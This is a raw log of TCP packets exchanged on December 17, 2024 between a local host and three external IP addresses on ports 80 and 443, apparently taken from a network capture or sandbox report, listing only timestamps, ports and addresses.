Dec 17, 2024 08:03:21.449915886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.449923038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.449985981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.450887918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.450974941 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.451031923 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.451977015 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.452050924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.452063084 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.452111006 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.453047991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.453114986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.453131914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.453254938 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.457390070 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.457405090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.457420111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.457436085 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.457448959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.457474947 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.457489967 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.457494020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.457536936 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.458455086 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.458509922 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.458599091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.458662033 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.459641933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.459708929 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.459832907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.459964037 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.460743904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.460808039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.460902929 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.461050987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.461755037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.461816072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.461940050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.462042093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.462966919 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.463023901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.463130951 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.463176012 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.463855982 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.463924885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.463999987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.464050055 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.465025902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.465040922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.465092897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.465092897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.466156960 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.466223955 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.466294050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.466382980 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.467168093 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.467217922 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.467336893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.467360973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.467375994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.467389107 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.467422009 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.467684984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.468389988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.468405008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.468431950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.468465090 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.469402075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.469468117 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.469542027 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.469655991 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.470489979 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.470604897 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.470654011 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.471574068 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.471627951 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.471704006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.471759081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.472655058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.472707987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.472781897 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.472824097 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.473737001 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.473784924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.473858118 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.473901987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.474850893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.474901915 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.474975109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.475028038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.476002932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.476049900 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.476119041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.476165056 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.477047920 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.477094889 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.477169991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.477222919 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.478162050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.478213072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.478260040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.478303909 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.479290009 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.479305029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.479362011 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.479362011 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.480384111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.480398893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.480431080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.480460882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.481378078 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.481436968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.481503963 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.481556892 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.482568026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.482583046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.482620001 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.482650995 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.483568907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.483627081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.483700037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.483768940 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.487509012 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.487524033 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.487539053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.487552881 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.487562895 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.487601042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.487601042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.487648010 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.487690926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.488009930 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.488055944 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.489010096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.489058018 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.489162922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.489208937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.490253925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.490269899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.490317106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.490318060 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.491274118 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.491290092 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.491352081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.491352081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.492260933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.492307901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.492558956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.492604971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.493396044 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.493448019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.493582010 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.493632078 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.494452953 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.494503975 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.501688004 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.501739979 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.501843929 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.501868010 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.501882076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.501893044 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.501930952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.501930952 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.502371073 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.502413988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.502418041 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.502480984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.503525972 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.503601074 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.503678083 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.503720045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:21.504554987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:21.504611015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:23.740276098 CET	49842	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:23.740602970 CET	49860	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:23.860531092 CET	80	49860	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:23.860575914 CET	80	49842	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:23.860621929 CET	49860	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:23.860656023 CET	49842	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:23.908061981 CET	49860	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:24.028063059 CET	80	49860	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:24.329329967 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:24.329396009 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:24.329485893 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:24.330785990 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:24.330818892 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:25.195184946 CET	80	49860	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:25.195591927 CET	49860	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:25.196631908 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:25.196882010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:25.316693068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:25.316873074 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:25.316937923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:25.316937923 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:25.317034960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:25.437006950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:25.789103985 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:25.789211035 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:25.791102886 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:25.791121006 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:25.791507006 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:25.837302923 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:25.837302923 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:25.837429047 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:26.362862110 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:26.362963915 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:26.363030910 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:26.365930080 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:26.365951061 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:26.365986109 CET	49865	443	192.168.2.5	178.62.201.34
Dec 17, 2024 08:03:26.365999937 CET	443	49865	178.62.201.34	192.168.2.5
Dec 17, 2024 08:03:26.639031887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639065027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639077902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639102936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639118910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639147043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639157057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.639178991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639209032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.639228106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.639240980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639281034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.639451981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639467001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.639496088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.639508963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.758987904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.759092093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.759120941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.759167910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.763122082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.763169050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.763226986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.763271093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.831288099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.831418037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.831471920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.832550049 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.835441113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.835500956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.836950064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.836998940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.837057114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.837100029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.845443964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.845501900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.845582008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.845627069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.853816986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.853876114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.853909016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.853951931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.862260103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.862337112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.862364054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.862407923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.870728016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.870805979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.870893002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.870949030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.879044056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.879122019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.879179001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.879230022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.887619972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.887654066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.887737989 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.895921946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.895993948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.896061897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.896112919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.904356956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.904441118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.904515982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.904578924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.911585093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.911686897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.911737919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.911837101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.951263905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.951328039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:26.951416016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:26.951466084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.024034977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.024094105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.024171114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.024171114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.025983095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.026046038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.026089907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.026143074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.030579090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.030616999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.030638933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.030669928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.034991026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.035079002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.035152912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.035204887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.039424896 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.039488077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.039582968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.039622068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.043943882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.044001102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.044028997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.044075966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.048651934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.048716068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.048851013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.048892975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.053751945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.053811073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.053873062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.053917885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.057650089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.057698011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.057751894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.057801962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.061986923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.062045097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.062103987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.062145948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.066533089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.066623926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.066695929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.066755056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.071044922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.071098089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.071209908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.075491905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.075551033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.075608015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.075659037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.079958916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.080027103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.080084085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.080133915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.084451914 CET	80	49867	31.41.244.11	192.168.2.5
